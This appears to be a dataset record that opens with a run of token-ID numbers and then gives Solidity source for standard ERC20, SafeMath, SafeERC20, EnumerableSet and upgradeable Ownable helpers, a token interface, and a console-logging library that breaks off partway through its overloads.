6091,
288,
203,
565,
445,
30235,
9858,
2310,
12,
3890,
3778,
389,
1132,
13,
203,
3639,
2713,
203,
3639,
16618,
203,
3639,
1135,
261,
3890,
1578,
13,
203,
565,
288,
203,
3639,
327,
6056,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
11890,
28,
12,
20,
3631,
389,
1132,
10019,
203,
565,
289,
203,
203,
565,
445,
30235,
2857,
2310,
12,
3890,
1578,
389,
4482,
16,
1731,
1578,
389,
4083,
13,
203,
3639,
2713,
203,
3639,
16618,
203,
3639,
1135,
261,
3890,
1578,
13,
203,
565,
288,
203,
3639,
327,
6056,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
11890,
28,
12,
21,
3631,
389,
4482,
16,
389,
4083,
10019,
203,
565,
289,
203,
203,
565,
445,
2017,
10867,
12294,
12,
11890,
5034,
389,
1132,
13,
203,
3639,
2713,
203,
3639,
16618,
203,
3639,
1135,
261,
3890,
3778,
13,
203,
565,
288,
203,
3639,
327,
2017,
10867,
13290,
24899,
1132,
380,
576,
1769,
203,
565,
289,
203,
203,
565,
445,
2017,
10867,
13290,
12,
11890,
5034,
389,
1132,
13,
203,
3639,
2713,
203,
3639,
16618,
203,
3639,
1135,
261,
3890,
3778,
13,
203,
565,
288,
203,
3639,
2254,
5034,
1906,
620,
273,
389,
1132,
31,
203,
3639,
2254,
5034,
963,
273,
374,
31,
203,
3639,
1323,
261,
5814,
620,
405,
374,
13,
288,
203,
5411,
965,
1467,
31,
203,
5411,
1906,
620,
23359,
2371,
31,
203,
3639,
289,
203,
3639,
1906,
620,
273,
389,
1132,
31,
203,
3639,
364,
261,
11890,
5034,
2067,
273,
374,
31,
2067,
411,
963,
31,
965,
3465,
13,
2
] |
pragma solidity 0.6.12;
// SPDX-License-Identifier: MIT
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface INBUNIERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
event Log(string log);
}
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logByte(byte p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(byte)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
